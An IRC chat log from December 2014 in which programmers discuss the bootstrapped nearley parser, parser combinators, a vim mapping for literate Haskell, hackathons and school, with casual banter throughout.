[2014-12-02T19:11:10-0500] <+hardmath123> awe: Would you be interested in semi-formatted Lua? Or the AST of a .ne file?
[2014-12-02T19:11:23-0500] <@awe> Sure.
[2014-12-02T19:11:32-0500] <@awe> I just wanted to see something more substantive than a single line of code.
[2014-12-02T19:14:10-0500] <+hardmath123> awe: this is the output of the .ne parser on the .ne grammar (sorry if that's very meta)
[2014-12-02T19:14:13-0500] <+hardmath123> https://gist.github.com/c430b7ce2102d3f56f57
[2014-12-02T19:15:57-0500] <@awe> Where can I see the code that's actually using this to parse .ne?
[2014-12-02T19:16:14-0500] <+hardmath123> go to the github repo
[2014-12-02T19:16:27-0500] <+hardmath123> /lib/nearley-language-bootstrapped.ne is the grammar
[2014-12-02T19:16:32-0500] <+hardmath123> /lib/nearley-language-bootstrapped.js is the generated code
[2014-12-02T19:16:43-0500] <+hardmath123> I ran the .js file on the .ne
[2014-12-02T19:17:23-0500] <@awe> But there's nothing that resembles execution in the js file?
[2014-12-02T19:17:35-0500] <+hardmath123> well, the actual parsing is lib/nearley.js
[2014-12-02T19:17:55-0500] <+hardmath123> you feed lib/nearley.js a generated grammar (lib/nearley-langauge-bootstrapped.js)
[2014-12-02T19:19:33-0500] <@awe> What part of the code processes the .ne files into .js files?
[2014-12-02T19:20:40-0500] <+hardmath123> lib/generate.js and lib/compile.js are the code generation facilities, called by the command-line tool bin/nearleyc.js (linked by npm to `nearleyc` in shells)
[2014-12-02T19:21:36-0500] <+hardmath123> Wow, I'm slowly realizing how ridiculously meta this is.
[2014-12-02T19:21:49-0500] <@awe> Yeah, It's really hard to follow.
[2014-12-02T19:23:24-0500] <+hardmath123> Well, part of it is that it's bootstrapped, which hurts. The other part is that there are really two programs here, which aren't clearly differentiated. There's the command-line tool that compiles .ne files to .js files, and there's the actual parser that parses stuff from those .js files.
[2014-12-02T19:23:42-0500] <+hardmath123> I bundled them together because they're sort of mutually dependant.
[2014-12-02T19:24:47-0500] <@awe> and the command-line tool uses this library that parsers stuff from js files.
[2014-12-02T19:25:12-0500] <+hardmath123> Yep.
[2014-12-02T19:25:15-0500] <@awe> How'd the dude who bootstrapped it bootstrap it?
[2014-12-02T19:25:25-0500] <@awe> Did he just write the grammar and then hand-compile it?
[2014-12-02T19:25:28-0500] <+hardmath123> It wasn't hard, took me an evening.
[2014-12-02T19:25:29-0500] <+hardmath123> :)
[2014-12-02T19:25:38-0500] <@awe> Robin Windels for bootstrapping the grammar
[2014-12-02T19:25:46-0500] <@awe> I guess you meant that he helped you?
[2014-12-02T19:26:18-0500] <+hardmath123> Robin rewrote the grammar for .ne files as an .ne file.
[2014-12-02T19:26:19-0500] <@awe> It's sort of ambiguous.
[2014-12-02T19:26:24-0500] <@awe> Ah, okay.
[2014-12-02T19:26:27-0500] <@awe> And then what'd you do?
[2014-12-02T19:26:43-0500] <@awe> Or was that all it took since before that you had it using js?
[2014-12-02T19:26:44-0500] <+hardmath123> I manually wrote the .js file that parses .ne files.
[2014-12-02T19:26:49-0500] <@awe> Okay.
[2014-12-02T19:27:12-0500] <+hardmath123> I was lazy to rewrite that grammar in .ne because it wasn't strictly necessary.
[2014-12-02T19:27:34-0500] <@awe> Didn't that .js file already exist?
[2014-12-02T19:27:51-0500] <+hardmath123> /examples/nearley-language-old.js is the one I manually wrote.
[2014-12-02T19:28:17-0500] <+hardmath123> well, /examples/old-language-specification.js
[2014-12-02T19:28:57-0500] <@awe> rule("whitraw", [/\s/], NullPP),
[2014-12-02T19:28:57-0500] <@awe>         rule("whitraw", ["whitraw", /\s/], NullPP),
[2014-12-02T19:29:09-0500] <@awe> So, that says that whitraw is anything that matches \s
[2014-12-02T19:29:18-0500] <@awe> and then that whitraw is also anything that matches whitraw followed by \s
[2014-12-02T19:29:19-0500] <@awe> right?
[2014-12-02T19:29:23-0500] <+hardmath123> Exactly
[2014-12-02T19:29:50-0500] <+hardmath123> and NullPP means that in either case, I don't care about keeping any data, so just return `null` when I parse that.
[2014-12-02T19:29:57-0500] <+hardmath123> (Because whitespace doesn't matter.)
[2014-12-02T19:30:44-0500] <@awe> So, the post-processor is actually where all the heavy-lifting is?
[2014-12-02T19:31:35-0500] <+hardmath123> Yes. It converts nested arrays into a more legible data structure, that's all.
[2014-12-02T19:31:46-0500] <+hardmath123> It saves you from walking the AST manually.
[2014-12-02T19:35:02-0500] <@awe> I wish that this was in a language that didn't look to me like someone threw spaghetti at a wall.
[2014-12-02T19:35:41-0500] <@awe> I'm trying to comprehend what nearley.js does.
[2014-12-02T19:36:39-0500] <+hardmath123> awe: If you want to read about the algorithm, I can point you to resources.
[2014-12-02T19:36:50-0500] <@awe> I want to read code of the algorithm.
[2014-12-02T19:37:00-0500] <@awe> Not really abstract descriptions of it.
[2014-12-02T19:37:13-0500] <+JacobEdelman> ... I don't love the nearley.js code exactly, I'm liking the look of the more functional parsers
[2014-12-02T19:37:23-0500] <+hardmath123> awe: Fair enough, I can sympathize with that.
[2014-12-02T19:37:28-0500] <+JacobEdelman> I mean, my parser would be really really pretty if it were just for cfgs
[2014-12-02T19:37:38-0500] <+hardmath123> JacobEdelman: "functional parser"?
[2014-12-02T19:37:46-0500] <+JacobEdelman> parser combinator stuffs
[2014-12-02T19:38:11-0500] <+JacobEdelman> https://en.wikipedia.org/wiki/Parser_combinator
[2014-12-02T19:38:35-0500] <@awe> https://www.haskell.org/haskellwiki/Parsec
[2014-12-02T19:38:37-0500] <@awe> Here you go, enjoy.
[2014-12-02T19:38:50-0500] <+hardmath123> JacobEdelman: that's Recursive Descent.
[2014-12-02T19:39:05-0500] <+hardmath123> Left recursion kills it.
[2014-12-02T19:39:06-0500] <+JacobEdelman> with memoization you can make an earley equivlent
[2014-12-02T19:39:08-0500] <+JacobEdelman> like I did
[2014-12-02T19:39:20-0500] <+JacobEdelman> also, you can get around left recursion with memoization too
[2014-12-02T19:39:42-0500] <+JacobEdelman> when the function starts just have it set its memoized value to false
[2014-12-02T19:39:54-0500] <+JacobEdelman> so later if it tries the same exact thing again
[2014-12-02T19:40:02-0500] <+JacobEdelman> it returns false without recursing further
[2014-12-02T19:40:24-0500] <+hardmath123> Why false?
[2014-12-02T19:40:30-0500] <LittleBobbyTables> Because it's not true.
[2014-12-02T19:40:33-0500] <LittleBobbyTables> Also, can I have +v
[2014-12-02T19:40:42-0500] awe sets mode +v LittleBobbyTables
[2014-12-02T19:40:45-0500] <+LittleBobbyTables> <3
[2014-12-02T19:43:51-0500] <@awe> Let's all just start writing literate haskell and never anything else, okay guys?
[2014-12-02T19:44:00-0500] <nezorg> okay
[2014-12-02T19:47:28-0500] <+hardmath123> I'll be happy when there's a modern, portable Scheme dialect. Never lookin' back.
[2014-12-02T19:47:38-0500] <@awe> Really?
[2014-12-02T19:48:29-0500] <@awe> hardmath123: Why don't you write one?
[2014-12-02T19:48:33-0500] <@awe> Scheme is super easy.
[2014-12-02T19:48:34-0500] <+JacobEdelman> hardmath123: not false actually, its actually {match:false}
[2014-12-02T19:49:09-0500] <+JacobEdelman> awe: what is the largest project you have written in haskell
[2014-12-02T19:49:17-0500] <@awe> I've written virtually nothing in Haskell.
[2014-12-02T19:49:32-0500] <+hardmath123> awe: I'd love to write one, but there are so many existing Scheme implementations with various flaws that I can almost bet we're going to end up with a http://xkcd.com/927/ scenario.
[2014-12-02T19:49:43-0500] <@awe> Here's something cool I worked on with a friend: https://gist.github.com/aaronweiss74/5882616
[2014-12-02T19:50:04-0500] <@awe> hardmath123: Sure, but then you have one that you can use.
[2014-12-02T19:50:26-0500] <+JacobEdelman> awe: ergo if even you can't write large projects in haskell than nobody can :P
[2014-12-02T19:50:33-0500] <@awe> That's not true.
[2014-12-02T19:50:36-0500] <@awe> I've never really tried.
[2014-12-02T19:50:40-0500] <@awe> I wasn't really prepared to learn Haskell when I first tried.
[2014-12-02T19:50:49-0500] <+JacobEdelman> hardmath123: awww.... that only is a problem if we are trying to demand that everybody uses ours
[2014-12-02T19:51:07-0500] <+JacobEdelman> hardmath123: anyway, survival of the fittest will hopefully invalidate any extreme fragmentation
[2014-12-02T19:51:53-0500] <+hardmath123> awe: I don't think it's ok to have a language that only I use.
[2014-12-02T19:52:16-0500] <+hardmath123> awe: The other issue I have is not knowing enough C to write a decently fast compiler.
[2014-12-02T19:52:31-0500] <+hardmath123> awe: I would implement it SICP-register-machine style.
[2014-12-02T19:52:43-0500] <@awe> >C
[2014-12-02T19:52:44-0500] <@awe> Write it in Rust.
[2014-12-02T19:52:50-0500] <@awe> Or uhh...
[2014-12-02T19:52:56-0500] <@awe> Better yet.
[2014-12-02T19:52:59-0500] <@awe> Write it in your language.
[2014-12-02T19:53:05-0500] <@awe> And use LLVM.
[2014-12-02T19:53:33-0500] <+JacobEdelman> aww... all you people care about speed
[2014-12-02T19:53:36-0500] <+JacobEdelman> that holds you back
[2014-12-02T19:53:40-0500] <+JacobEdelman> give up on the speed
[2014-12-02T19:53:43-0500] <+JacobEdelman> speed is for wimps
[2014-12-02T19:53:44-0500] <@awe> No, it ensures you have something decent.
[2014-12-02T19:54:07-0500] <+LittleBobbyTables> Please
[2014-12-02T19:54:10-0500] <+LittleBobbyTables> Speed is so good
[2014-12-02T19:54:16-0500] <+LittleBobbyTables> If we didn't have speed, our computers would still be slow.
[2014-12-02T19:54:31-0500] <@awe> LittleBobbyTables: would I be able to get something set up for vim where if I'm already on a line with >
[2014-12-02T19:54:45-0500] <@awe> LittleBobbyTables: and I press enter, it automatically adds a > to the beginning of that line
[2014-12-02T19:54:53-0500] <+hardmath123> JacobEdelman: go optimze nearley for me :P
[2014-12-02T19:54:55-0500] <+LittleBobbyTables> You mean like
[2014-12-02T19:54:57-0500] <@awe> LittleBobbyTables: but if I press enter again, it clears it as an empty line?
[2014-12-02T19:55:02-0500] <+LittleBobbyTables> abcdef>
[2014-12-02T19:55:04-0500] <+LittleBobbyTables> >abcdef
[2014-12-02T19:55:05-0500] <+JacobEdelman> hardmath123: can I use parser combinators?
[2014-12-02T19:55:06-0500] <+LittleBobbyTables> ""
[2014-12-02T19:55:12-0500] <@awe> no, something like this:
[2014-12-02T19:55:14-0500] <+hardmath123> JacobEdelman: no, because that's not nearley.
[2014-12-02T19:55:28-0500] <@awe> > x = "This is a line that I'm typing on"
[2014-12-02T19:55:34-0500] <@awe> I press enter.
[2014-12-02T19:55:39-0500] <@awe> Now I have that followed by:
[2014-12-02T19:55:39-0500] <@awe> >
[2014-12-02T19:55:42-0500] <@awe> I press enter again.
[2014-12-02T19:55:44-0500] <+JacobEdelman> hardmath123: awww... you mean I can't rewrite the entire nearley.js? :P
[2014-12-02T19:55:53-0500] <+LittleBobbyTables> Draw me a pretty picture
[2014-12-02T19:55:55-0500] <@awe> Now I have that original line followed by a blank line and my cursor is on the line after the blank line.
[2014-12-02T19:56:00-0500] <+JacobEdelman> (than I might just fork it :P )
[2014-12-02T19:56:15-0500] <@awe> JacobEdelman: there's already a parsec library for JS.
[2014-12-02T19:56:30-0500] <+JacobEdelman> ooohhh.... lemme google around
[2014-12-02T19:56:39-0500] <+JacobEdelman> (also, I bet it can't parse anything like mine can)
[2014-12-02T19:56:44-0500] <@awe> https://github.com/mattbierner/bennu/
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[2014-12-02T19:56:56-0500] <+hardmath123> awe: why do you want this?
[2014-12-02T19:57:04-0500] <+hardmath123> Also, > is for indenting
[2014-12-02T19:57:13-0500] <@awe> It's also a character that people type?
[2014-12-02T19:57:19-0500] <+LittleBobbyTables> Oh
[2014-12-02T19:57:19-0500] <+LittleBobbyTables> wait
[2014-12-02T19:57:21-0500] <+hardmath123> Yeah
[2014-12-02T19:57:23-0500] <+LittleBobbyTables> You mean like
[2014-12-02T19:57:26-0500] <+LittleBobbyTables> abcd
[2014-12-02T19:57:27-0500] <+LittleBobbyTables> >
[2014-12-02T19:57:28-0500] <+LittleBobbyTables> ""
[2014-12-02T19:57:35-0500] <+LittleBobbyTables> ?
[2014-12-02T19:57:36-0500] <@awe> I have no idea what you're trying to say.
[2014-12-02T19:57:37-0500] <+LittleBobbyTables> Or abcd
[2014-12-02T19:57:39-0500] <+LittleBobbyTables> >""
[2014-12-02T19:57:43-0500] <+LittleBobbyTables> The order of how you want things
[2014-12-02T19:57:48-0500] <@awe> https://github.com/hollingberry/haskell-problems/blob/master/Enigma.lhs
[2014-12-02T19:57:48-0500] <+LittleBobbyTables> I get the order of key presses
[2014-12-02T19:57:51-0500] <@awe> Literate haskell looks like this.
[2014-12-02T19:58:01-0500] <@awe> The code is all the stuff that starts with >
[2014-12-02T19:58:27-0500] <@awe> I want it so that if I'm writing code
[2014-12-02T19:58:32-0500] <@awe> that is, if I'm typing on a line prefixed with >
[2014-12-02T19:58:40-0500] <@awe> when I press enter, the next line will be prefixed with >
[2014-12-02T19:58:48-0500] <+LittleBobbyTables> Ahhh
[2014-12-02T19:58:48-0500] <+hardmath123> Proposal: map `,` to `oi><ESC>`
[2014-12-02T19:58:51-0500] <+LittleBobbyTables> Ok I get what you're saying
[2014-12-02T19:58:56-0500] <@awe> and if I'm on a line that is blank with just the > prefix
[2014-12-02T19:58:58-0500] <@awe> and press enter
[2014-12-02T19:59:03-0500] <@awe> I want that line to then become completely blank.
[2014-12-02T19:59:06-0500] <@awe> that is, for the prefix to be removed.
[2014-12-02T19:59:17-0500] <+hardmath123> That will insert a new line prefixed with >.
[2014-12-02T19:59:17-0500] <+JacobEdelman> hardmath123:my parser can be compressed to about 1k
[2014-12-02T19:59:31-0500] <+LittleBobbyTables> hardmath123: that wouldn't work though?
[2014-12-02T19:59:32-0500] <+hardmath123> JacobEdelman: You'd be impressed by what can be compressed to 1k.
[2014-12-02T19:59:41-0500] <+LittleBobbyTables> wait
[2014-12-02T19:59:42-0500] <+JacobEdelman> hardmath123: I have been
[2014-12-02T19:59:42-0500] <+LittleBobbyTables> jk
[2014-12-02T19:59:52-0500] <+LittleBobbyTables> I was like "that'd just enter it where you are"
[2014-12-02T19:59:52-0500] <+JacobEdelman> hardmath123:I should rewrite bits of it an see if I can make an entire language thats 1k...
[2014-12-02T20:00:08-0500] <@awe> hardmath123: but what about the second requirement?
[2014-12-02T20:00:13-0500] <+hardmath123> JacobEdelman: http://js1k.com -- chess AI, 3D shooters, raytracers
[2014-12-02T20:00:17-0500] <+LittleBobbyTables> awe: There's probably some way to do that, but what hardmath gave is the easiest.
[2014-12-02T20:00:22-0500] <+JacobEdelman> hardmath123: yup, I've seen that
[2014-12-02T20:00:31-0500] <+hardmath123> awe: a sufficiently advanced vim-guru can do it. i'm 100% sure it's possible.
[2014-12-02T20:00:51-0500] <+LittleBobbyTables> You can also do a map enter to if line == ">" ddi else enter
[2014-12-02T20:01:05-0500] <+hardmath123> It's impossible to study for a chem test while IRCing. *sigh*
[2014-12-02T20:01:15-0500] <@awe> I should be doing work.
[2014-12-02T20:01:23-0500] <+LittleBobbyTables> Here's how you pass chem
[2014-12-02T20:01:27-0500] <+LittleBobbyTables> Step 1) Mix shit together
[2014-12-02T20:01:34-0500] <+LittleBobbyTables> Step 2) Explode things if needed, otherwise don't
[2014-12-02T20:01:41-0500] <+LittleBobbyTables> Step 3) Party cause you just got an A
[2014-12-02T20:01:59-0500] <+hardmath123> My problem is that I have a good teacher.
[2014-12-02T20:02:05-0500] <+hardmath123> So I need to actually know stuff conceptually.
[2014-12-02T20:02:06-0500] <+JacobEdelman> hardmath123: I had a bad one
[2014-12-02T20:02:16-0500] <+JacobEdelman> hardmath123: and I was bored too death
[2014-12-02T20:02:21-0500] <+JacobEdelman> hardmath123: so I got a B
[2014-12-02T20:02:24-0500] <@awe> JacobEdelman: Bennu also provides functionality like memoization 
[2014-12-02T20:03:00-0500] <@awe> JacobEdelman: https://github.com/mattbierner/parse-re
[2014-12-02T20:03:06-0500] <+LittleBobbyTables> I had a great teacher
[2014-12-02T20:03:13-0500] <+LittleBobbyTables> I got like a B- in that class with a 60 percent
[2014-12-02T20:03:17-0500] <+LittleBobbyTables> Easiest class of my life
[2014-12-02T20:03:40-0500] <+JacobEdelman> awe: still not as powerful as mine
[2014-12-02T20:03:48-0500] <@awe> Somehow, I don't believe you.
[2014-12-02T20:03:57-0500] <+JacobEdelman> awe: mine can parse literally anything
[2014-12-02T20:04:05-0500] <+JacobEdelman> awe: almost no parsers can do that
[2014-12-02T20:04:05-0500] <+LittleBobbyTables> Why not?
[2014-12-02T20:04:14-0500] <+LittleBobbyTables> My grading scale in high school was so bad/good
[2014-12-02T20:04:14-0500] <+JacobEdelman> by literally anything
[2014-12-02T20:04:17-0500] <+LittleBobbyTables> 21% was a D
[2014-12-02T20:04:20-0500] <+JacobEdelman> wait
[2014-12-02T20:04:29-0500] <+JacobEdelman> awe: by litterally anything I mean
[2014-12-02T20:04:31-0500] <+LittleBobbyTables> You could pass high school with a 21%
[2014-12-02T20:04:39-0500] <+hardmath123> JacobEdelman: I don't believe that at all until you show me stuff being parsed.
[2014-12-02T20:04:55-0500] <+JacobEdelman> my program does a very simple parsing 
[2014-12-02T20:04:56-0500] <+JacobEdelman> but fine
[2014-12-02T20:04:57-0500] <+JacobEdelman> I
[2014-12-02T20:05:01-0500] <+hardmath123> JacobEdelman: "Parse literally anything" would get you a PhD, eternal fame, and a coffee from me.
[2014-12-02T20:05:02-0500] <+JacobEdelman> I'll do a complex one
[2014-12-02T20:05:05-0500] <+JacobEdelman> nah
[2014-12-02T20:05:08-0500] <+JacobEdelman> its not a PhD
[2014-12-02T20:05:09-0500] <+JacobEdelman> I mean
[2014-12-02T20:05:10-0500] <@awe> JacobEdelman: I don't believe you because if it was easy enough for you to do it so quickly, I don't see why PhD people don't have it.
[2014-12-02T20:05:15-0500] <+JacobEdelman> parsing anything = running a program
[2014-12-02T20:05:21-0500] <+JacobEdelman> they can
[2014-12-02T20:05:31-0500] <@awe> If they can and aren't doing it, there must be a good reason.
[2014-12-02T20:05:32-0500] <+JacobEdelman> they just havn't done it cause its almost useless 
[2014-12-02T20:05:38-0500] <+JacobEdelman> :P
[2014-12-02T20:05:41-0500] <+JacobEdelman> well, uselessish
[2014-12-02T20:05:42-0500] <@awe> Okay, so, it's completely useless then.
[2014-12-02T20:05:43-0500] <+JacobEdelman> it depends
[2014-12-02T20:05:51-0500] <@awe> If Jacob thinks it's "almost useless," it's got no use.
[2014-12-02T20:05:56-0500] <+JacobEdelman> nah
[2014-12-02T20:06:01-0500] <+JacobEdelman> I have uses for it
[2014-12-02T20:06:06-0500] <+JacobEdelman> and its useful for some conceptual stuff
[2014-12-02T20:06:13-0500] <+JacobEdelman> and maybe for programming language building
[2014-12-02T20:07:07-0500] • hardmath123: vaguely remembers some stuff on his review sheet.
[2014-12-02T20:09:37-0500] <@awe> I guarantee you don't have uses for it.
[2014-12-02T20:09:46-0500] <@awe> Or well, almost guarantee.
[2014-12-02T20:09:49-0500] <@awe> There's a rare chance.
[2014-12-02T20:12:01-0500] <@awe> Ugh, I have such a fucking headache from trying to understand all this stuff, and now I have to work on some really boring and painful stuff for work.
[2014-12-02T20:12:13-0500] <+hardmath123> I feel partially responsible.
[2014-12-02T20:12:29-0500] <@awe> Nah, it's mostly JacobEdelman's fault for bringing it up, and my fault for being curious.
[2014-12-02T20:12:33-0500] <+JacobEdelman> I feel fully responsible and rather proud for managing to give awe a headache
[2014-12-02T20:12:35-0500] <+JacobEdelman> :)
[2014-12-02T20:12:47-0500] <@awe> I tend to get headaches when I'm failing to understand things.
[2014-12-02T20:13:05-0500] <+hardmath123> There's a Perl version, if Perl makes more sense to you than JS.
[2014-12-02T20:13:12-0500] <@awe> No.
[2014-12-02T20:13:13-0500] <@awe> Much worse.
[2014-12-02T20:13:17-0500] <+hardmath123> :P
[2014-12-02T20:13:38-0500] <@awe> Given how I feel about JS, it should be obvious that Perl is the antichrist.
[2014-12-02T20:13:46-0500] <+hardmath123> Now you know how I felt trying to understand Joop Leo's paper on optimizing Earley.
[2014-12-02T20:13:56-0500] <+hardmath123> (Still haven't made it past the abstract.)
[2014-12-02T20:14:04-0500] <@awe> I actually don't think there's a language that disagrees more fundamentally with my perspective than Perl.
[2014-12-02T20:14:21-0500] <@awe> Except maybe JacobEdelman's language idea, depending on how he describes it.
[2014-12-02T20:14:57-0500] <+JacobEdelman> awww... thanks!
[2014-12-02T20:15:14-0500] <+JacobEdelman> my goal in life is to render awe speachless at my language idea
[2014-12-02T20:15:24-0500] <@awe> You already do, every time you speak.
[2014-12-02T20:15:34-0500] <@awe> It impresses me how someone so smart can struggle so plainly to spell words like speechless.
[2014-12-02T20:16:20-0500] <Tam> I entirely believe that
[2014-12-02T20:16:29-0500] <@awe> I mean, I believe it because I see it.
[2014-12-02T20:16:31-0500] <Tam> haystack was modeled after your spelling ability, JacobEdelman.
[2014-12-02T20:16:32-0500] <@awe> I just don't get it.
[2014-12-02T20:16:38-0500] <Tam> also awe: I'm so sad.
[2014-12-02T20:16:42-0500] <@awe> Why's that?
[2014-12-02T20:16:49-0500] <+JacobEdelman> I don't struggle
[2014-12-02T20:16:51-0500] <Tam> Everything I want to do is on the weekend of PennApps
[2014-12-02T20:16:52-0500] <+JacobEdelman> I just don't bother
[2014-12-02T20:16:54-0500] <Hyper> [19:51:07]  <+JacobEdelman>	hardmath123: anyway, survival of the fittest will hopefully invalidate any extreme fragmentation
[2014-12-02T20:16:55-0500] <Hyper> Android used to work that way, it didn't work out.
[2014-12-02T20:17:03-0500] <Tam> :(
[2014-12-02T20:17:13-0500] <+JacobEdelman> wait, yes it did
[2014-12-02T20:17:16-0500] <+JacobEdelman> andriod is now huge
[2014-12-02T20:17:28-0500] <Hyper> then google started to be really bitchy with OEMs and it helped cut down the fragmentation
[2014-12-02T20:17:39-0500] <@awe> JacobEdelman: No, because it didn't solve the fragmentation
[2014-12-02T20:17:41-0500] <+JacobEdelman> oh, I wouldn't know
[2014-12-02T20:17:43-0500] <Hyper> JacobEdelman: the ecosystem was so fragmented it almost hurts to talk about
[2014-12-02T20:17:46-0500] <@awe> JacobEdelman: Android was INCREDIBLY fragmented.
[2014-12-02T20:17:46-0500] <+hardmath123> Tam: JacobEdelman: awe: alokpathy: Are y'all free in early April?
[2014-12-02T20:17:51-0500] <+JacobEdelman> I like fragmented
[2014-12-02T20:17:54-0500] <@awe> hardmath123: Perhaps, why?
[2014-12-02T20:18:00-0500] <+JacobEdelman> hardmath123: probaly, it depends
[2014-12-02T20:18:04-0500] <Tam> hardmath123: prooobably, sup?
[2014-12-02T20:18:09-0500] <@awe> hardmath123: I can try to be, if there's good reason.
[2014-12-02T20:18:19-0500] <+hardmath123> We're hosting a hackathon at my school, and y'all should come and build awesome stuff.
[2014-12-02T20:18:26-0500] <@awe> Where do you go to school?
[2014-12-02T20:18:26-0500] <Tam> ooh
[2014-12-02T20:18:27-0500] <Tam> but
[2014-12-02T20:18:27-0500] <Hyper> JacobEdelman: You might until you attempt to get an upgrade for the software on your phone and neither the carrier nor the oem give a fuck
[2014-12-02T20:18:30-0500] <Tam> west coast, man
[2014-12-02T20:18:30-0500] <+JacobEdelman> ... california is a far way away
[2014-12-02T20:18:36-0500] <+hardmath123> (I feel conscious saying `awesome` on this IRC channel.)
[2014-12-02T20:18:37-0500] <+JacobEdelman> you gonna pay for travel?
[2014-12-02T20:18:39-0500] <Tam> and JacobEdelman: how did you takeyour SATs 
[2014-12-02T20:18:43-0500] <@awe> hardmath123: will you cover my plane ticket?
[2014-12-02T20:18:44-0500] <Tam> hardmath123: say awe-some
[2014-12-02T20:18:44-0500] <Tam> :P
[2014-12-02T20:18:46-0500] <+LittleBobbyTables> awe
[2014-12-02T20:18:53-0500] <@awe> hardmath123: why? it only pings me if you say awe-some. awesome doesn't ping me.
[2014-12-02T20:18:54-0500] <+LittleBobbyTables> You wanna do me an awesome favor
[2014-12-02T20:19:02-0500] <@awe> Hyper: I like that you switched to Textual. Textual is great.
[2014-12-02T20:19:04-0500] <@awe> LittleBobbyTables: what's up?
[2014-12-02T20:19:04-0500] <+hardmath123> awe: Gunn HS
[2014-12-02T20:19:05-0500] <+JacobEdelman> Hyper: what oem?
[2014-12-02T20:19:09-0500] <+LittleBobbyTables> Check if your school gives windows 8.1 through dreamspark
[2014-12-02T20:19:16-0500] <@awe> It does.
[2014-12-02T20:19:16-0500] <Hyper> awe: I've been using textual for months xP
[2014-12-02T20:19:21-0500] <+LittleBobbyTables> Have you used it yet?
[2014-12-02T20:19:25-0500] <@awe> hardmath123: Oh, I didn't realize.
[2014-12-02T20:19:26-0500] <@awe> erm
[2014-12-02T20:19:31-0500] <@awe> Hyper: Oh, I didn't realize.
[2014-12-02T20:19:31-0500] <+hardmath123> We probably can't pay for flights.
[2014-12-02T20:19:33-0500] <@awe> LittleBobbyTables: No.
[2014-12-02T20:19:38-0500] <Hyper> I used to use limechat for like 3 years before that
[2014-12-02T20:19:38-0500] <@awe> hardmath123: That's funny. Neither can I.
[2014-12-02T20:19:40-0500] <+hardmath123> But if you folks are gonna be in/near CA around that time
[2014-12-02T20:19:44-0500] <+LittleBobbyTables> Wanna give it to me? <3
[2014-12-02T20:19:50-0500] <@awe> LittleBobbyTables: I'd rather not.
[2014-12-02T20:19:57-0500] <+LittleBobbyTables> I'll give you 5 bucks
[2014-12-02T20:20:01-0500] <@awe> >$5
[2014-12-02T20:20:07-0500] <Hyper> that's b
[2014-12-02T20:20:09-0500] <+hardmath123> unless you fly by goose
[2014-12-02T20:20:09-0500] <+LittleBobbyTables> 5.01
[2014-12-02T20:20:14-0500] <Hyper> asically a plane ticket, right?
[2014-12-02T20:20:26-0500] <Hyper> I can't type x.x
[2014-12-02T20:20:44-0500] <Hyper> well I'm gonna be at http://www.photohackday.org/ this weekend
[2014-12-02T20:21:54-0500] <+JacobEdelman> hardmath123: hmmm... I guess I can walk :P
[2014-12-02T20:22:49-0500] <+LittleBobbyTables> awe, 8 dollars.
[2014-12-02T20:22:50-0500] <@awe> Hyper: I don't understand the Walgreens sponsorship.
[2014-12-02T20:23:00-0500] <Hyper> awe: they have some printing service
[2014-12-02T20:23:02-0500] <@awe> Hyper: $1,500 prize, but their API literally only allows you to print stuff at a store.
[2014-12-02T20:23:06-0500] <+hardmath123> JacobEdelman: We might be able to scrape enough for a skateboard!
[2014-12-02T20:23:08-0500] <Hyper> yeeep
[2014-12-02T20:23:12-0500] <Hyper> it's very um
[2014-12-02T20:23:12-0500] <@awe> What on earth could you make that's cool with that?
[2014-12-02T20:23:13-0500] <@awe> Nothing.
[2014-12-02T20:23:19-0500] <@awe> There's nothing cool you could make with that.
[2014-12-02T20:23:33-0500] <Hyper> I'm probably just gonna fuck around with opencv or something
[2014-12-02T20:23:56-0500] <Hyper> awe: you could make a thing that seam-carves out someone from a picture and prints you the new version
[2014-12-02T20:24:02-0500] <Hyper> actually, that'd be hilarious
[2014-12-02T20:24:31-0500] <+hardmath123> Automatically print snapchats.
[2014-12-02T20:25:01-0500] <@awe> hardmath123: creepy as hell.
[2014-12-02T20:25:04-0500] <@awe> hardmath123: You could do it.
[2014-12-02T20:25:09-0500] <@awe> There's an unofficial SnapChat client.
[2014-12-02T20:25:21-0500] <@awe> It's probably pretty easy to RE.
[2014-12-02T20:25:31-0500] <@awe> Oh, no. They have an API.
[2014-12-02T20:25:36-0500] <Hyper> didn't somebody RE snapchat's stuff already?
[2014-12-02T20:25:38-0500] <+hardmath123> One of my friends claimed to "hack" snapchat
[2014-12-02T20:25:52-0500] <+hardmath123> and then got offered a job at Snapchat, leading their security division
[2014-12-02T20:26:09-0500] <@awe> Hyper: Yeah, I said there's an unofficial client.
[2014-12-02T20:26:18-0500] <Hyper> yeah
[2014-12-02T20:26:22-0500] <@awe> But I can't find this API that they claim they have?
[2014-12-02T20:26:27-0500] <+LittleBobbyTables> awe
[2014-12-02T20:26:27-0500] <+hardmath123> (all he did was hook together someone else's captcha solver to someone else's packet sniffs and write an unofficial client that made lots of users)
[2014-12-02T20:26:28-0500] <+LittleBobbyTables> y u no sell
[2014-12-02T20:26:30-0500] <+LittleBobbyTables> ;(
[2014-12-02T20:27:00-0500] <@awe> Oh. Lol. They don't have one. It's definitely RE'd.
[2014-12-02T20:27:11-0500] <@awe> LittleBobbyTables: price isn't right.
[2014-12-02T20:27:25-0500] <+LittleBobbyTables> You're getting money for free :/
[2014-12-02T20:27:40-0500] <@awe> Free money isn't always enough money.
[2014-12-02T20:27:51-0500] <+LittleBobbyTables> Why do you think I didn't just to give you money before?
[2014-12-02T20:27:58-0500] <@awe> Because you suck?
[2014-12-02T20:27:59-0500] <+hardmath123> The problem with taking important chem notes on tissue paper
[2014-12-02T20:28:02-0500] <+hardmath123> is that I have allergies.
[2014-12-02T20:28:04-0500] <+hardmath123> :(
[2014-12-02T20:28:06-0500] <@awe> If you had, you would've gotten this key already. ;)
[2014-12-02T20:28:13-0500] <+LittleBobbyTables> nope
[2014-12-02T20:29:05-0500] <@awe> https://pbs.twimg.com/profile_images/378800000133847193/182cbd3d6332c12ae4fc4fdc36055766.png
[2014-12-02T20:29:09-0500] <@awe> The Mozilla Research icon is the cutest thing.
[2014-12-02T20:29:51-0500] <@awe> Guys, I emailed a professor about a week ago about trying to do research with him.
[2014-12-02T20:29:56-0500] <@awe> We went on break about a day or two later.
[2014-12-02T20:30:05-0500] <@awe> He hasn't responded.
[2014-12-02T20:30:07-0500] <@awe> Should I email him again?
[2014-12-02T20:30:39-0500] <+LittleBobbyTables> No
[2014-12-02T20:31:10-0500] <+hardmath123> No
[2014-12-02T20:31:18-0500] <@awe> Is there a point where I do?
[2014-12-02T20:31:35-0500] <+LittleBobbyTables> After I get a key.
[2014-12-02T20:31:47-0500] <+hardmath123> Do you see him face-to-face at any point during the week?
[2014-12-02T20:31:56-0500] <+hardmath123> (When you get back to school?)
